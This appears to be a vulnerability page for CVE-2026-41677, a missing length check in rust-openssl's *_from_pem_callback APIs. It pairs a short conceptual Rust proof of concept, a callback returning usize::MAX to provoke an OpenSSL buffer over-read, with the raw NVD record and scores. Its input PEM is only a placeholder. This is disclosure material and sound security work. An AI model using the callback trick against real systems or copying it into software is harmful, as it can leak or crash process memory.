CVE-2026-41677

// Conceptual PoC for CVE-2026-41677 // Demonstrates a callback returning a length larger than the buffer provided to OpenSSL. use openssl::pkey::PKey; use openssl::error::ErrorStack; // Malicious callback that returns a size larger than the buffer fn malicious_password_callback(_buf: &mut [u8]) -> Result<usize, ErrorStack> { // Returning a large size to trigger the out-of-bounds read in OpenSSL < 3.0 Ok(usize::MAX) } fn main() { // Example: Trying to load an encrypted PEM using the vulnerable callback // Note: This requires an actual encrypted PEM block to trigger the callback invocation let fake_pem = b"-----BEGIN ENCRYPTED PRIVATE KEY----- ... -----END ENCRYPTED PRIVATE KEY-----"; // The vulnerable API 'private_key_from_pem_callback' does not validate the return length match PKey::private_key_from_pem_callback(fake_pem, malicious_password_callback) { Ok(_key) => println!("Key loaded (unexpected)"), Err(e) => println!("Error occurred (likely crash or read error): {}", e), } }

{"cve": {"id": "CVE-2026-41677", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:29.270", "lastModified": "2026-04-28T17:34:03.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "rust-openssl provides OpenSSL bindings for the Rust programming language. From 0.9.0 to before 0.10.78, the *_from_pem_callback APIs did not validate the length returned by the user's callback. A password callback that returns a value larger than the buffer it was given can cause some versions of OpenSSL to over-read this buffer. OpenSSL 3.x is not affected by this. This vulnerability is fixed in 0.10.78."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rust-openssl_project:rust-openssl:*:*:*:*:*:rust:*:*", "versionStartIncluding": "0.9.0", "versionEndExcluding": "0.10.78", "matchCriteriaId": "719EF572-C4F5-4870-BB7E-3808612C7112"}]}]}], "references": [{"url": "https://github.com/rust-openssl/rust-openssl/security/advisories/GHSA-xmgf-hq76-4vx2", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}